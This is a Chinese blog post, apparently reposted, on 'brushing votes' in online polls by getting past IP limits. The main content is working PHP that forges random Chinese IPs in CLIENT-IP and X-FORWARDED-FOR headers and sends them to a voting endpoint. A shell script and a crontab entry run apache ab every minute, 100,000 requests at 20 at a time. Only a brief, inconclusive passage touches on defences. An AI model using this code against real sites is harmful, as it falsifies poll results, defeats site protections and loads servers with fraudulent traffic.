zoukankan      html  css  js  c++  java
  • 在投票系统方法的原则刷票(突破ip限制刷票PHP版)

    让我谈一点:事实上,没有一个突破ip限制,因为实际上,,这项限制server结束,client牛逼,不能突破..只要是能够始终重复刷票罢了

    一个朋友突然来了个网站,让我帮她投票..我是一个更好的人说话,为了帮助她投.顺便说一下分析本网站,有ip限制,可是投票是一个ajax请求.那么办法就出来了.

    非常多投票PC站点都是依靠限制ip,来限制投票人数.那么我用curl伪造IP,那么就能够轻易制造多个IP进行投票.

    以下贴上PHP代码:

    因为对方是GET AJAX请求,我这里就贴上GET方法,POST方法请自行改动

    <?php
    /**
     * @author 邹颢	zouhao619@gmail.com
     */
    $ip_long = array(
    	array('607649792', '608174079'), //36.56.0.0-36.63.255.255
    	array('1038614528', '1039007743'), //61.232.0.0-61.237.255.255
    	array('1783627776', '1784676351'), //106.80.0.0-106.95.255.255
    	array('2035023872', '2035154943'), //121.76.0.0-121.77.255.255
    	array('2078801920', '2079064063'), //123.232.0.0-123.235.255.255
    	array('-1950089216', '-1948778497'), //139.196.0.0-139.215.255.255
    	array('-1425539072', '-1425014785'), //171.8.0.0-171.15.255.255
    	array('-1236271104', '-1235419137'), //182.80.0.0-182.92.255.255
    	array('-770113536', '-768606209'), //210.25.0.0-210.47.255.255
    	array('-569376768', '-564133889'), //222.16.0.0-222.95.255.255
    );
    $rand_key = mt_rand(0, 9);
    $ip= long2ip(mt_rand($ip_long[$rand_key][0], $ip_long[$rand_key][1]));//随机生成国内某个ip
    $url='localhost/ip.php';//这里请填写投票的请求地址
    $ch = curl_init($url);
    $header = array( 
    	"CLIENT-IP:{$ip}", 
    	"X-FORWARDED-FOR:{$ip}", 
    ); 
    curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ; // 获取数据返回
    curl_exec($ch);
    curl_close($ch);



    前部分是随机生成国内的某个ip,然后用curl模拟请求.

    因为站点限制是一个ip限制1个小时投30个票,因此,我这里就是随机的.

    假设站点是限制1个ip投1个,那么最好把ip改动为顺序生成国内ip,这样能够不反复.

    然后我在开启,apache ab,每次并发20个投票..非常快票就刷上去了.

    那么面对这种恶意刷票有什么解决的方法呢?

    我没有什么好的办法防御.可是我这种curl实际上就是webservice訪问,这种訪问是不带session或者cookie的,当然,curl也能够模拟带上cookie,然后在带上phpsessionid从而来带上session.

    可是对于一个未知站点而言,并不知道他的处理方式.因此,假设推断是否存在session会有效抵挡一批刷票.可是在提示的时候切勿提示是缺少session这种文字.最好在给session一个有效时期,这种安全度会提高(可是假设刷票者知道这种原理,并不意味能防御住他)

    补充一点:非常多代码上说可以获取訪问者真实的IP地址,这个我没有遇过到正确的可以获取用户真实ip的方法.假设有的话,欢迎留言

    假设有什么好的防御方案,希望留言.



    有时候假设超时可能会导致脚本中断,最好在配合一个crond来每分钟都运行一下脚本

    脚本代码为:

    #!/bin/sh
    pid=`ps -ef |grep localhost/vote.php |grep vote.php | awk '{print $2}'`;
    if [[ $pid == "" ]];then
    	echo "vote is start";
    	nohup /usr/bin/ab -n 100000 -c 20 http://localhost/vote.php
    else
    	echo "vote.php is running";
    fi
    

    这个脚本就是每分钟推断这个进程存在不,存在的话,就无论,不存在的话,就启动这个进程..

    另外能够不用使用nohup来后台运行

    在开启crond每分钟跑起来

    crontab -e

    编辑crond任务

    * * * * * /www/web/default/Controller/Script/vote.sh


    前5个*号就是代表每一个分钟都运行这个脚本..假设不详,请查阅cron资料

    在开启cron

    service crond start

    伟大的工作藁城,安心让他刷自己主动.你可以忙别的事情


    Windows计划你自己的任务系统,我不是在这里发布的代码

  • 相关阅读:
    阿里云 k8s 部署 Spring Cloud Alibaba 微服务实践 (四) 自动化部署
    阿里云 k8s 部署 Spring Cloud Alibaba 微服务实践 (三) 服务观测
    阿里云 k8s 部署 Spring Cloud Alibaba 微服务实践 (二) 部署微服务程序
    阿里云 k8s 部署 Spring Cloud Alibaba 微服务实践 (一) 部署 Nacos
    C++知识点
    libmkl 学习笔记
    基于tesseract-OCR进行中文识别
    poco编译与运行
    Linux下的I/O复用与epoll详解(转载)
    高并发网络编程之epoll详解(转载)
  • 原文地址:https://www.cnblogs.com/bhlsheji/p/5042646.html
Copyright © 2011-2022 走看看